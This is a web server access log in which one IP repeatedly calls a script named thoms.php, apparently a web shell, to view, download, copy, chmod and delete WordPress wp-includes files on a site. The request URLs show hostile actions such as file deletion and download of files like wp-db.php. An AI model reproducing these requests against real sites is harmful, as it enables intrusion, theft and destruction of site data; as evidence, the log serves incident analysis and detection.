45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 200 12330 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /bossini.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?dl=theme-templates.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 200 13124 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59175 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fload.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fload.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?dl=class-wp-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59106 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?del=l10n.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?dl=load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?dl=wp-db.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frest-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frest-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:27 -0400] "GET /thoms.php?del=ms-files.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /bossini.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fversion.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11841 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fversion.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?chmod=author-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 200 13542 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 200 14907 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 200 12177 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 200 14574 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /bossini.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /bossini.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:28 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59148 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59137 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?del=embed-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59080 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 200 61338 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:29 -0400] "GET /thoms.php?dl=kses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59195 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 200 16242 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /thoms.php?del=atomlib.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /thoms.php?dl=block-bindings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /thoms.php?dl=session.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=session.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /bossini.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /bossini.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:30 -0400] "GET /thoms.php?del=canonical.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsitemaps.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsitemaps.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /bossini.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?del=default-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /bossini.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59172 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?chmod=media.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 200 19861 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 200 12185 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:31 -0400] "GET /thoms.php?dl=default-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 200 12329 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?chmod=php-ai-client&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:32 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
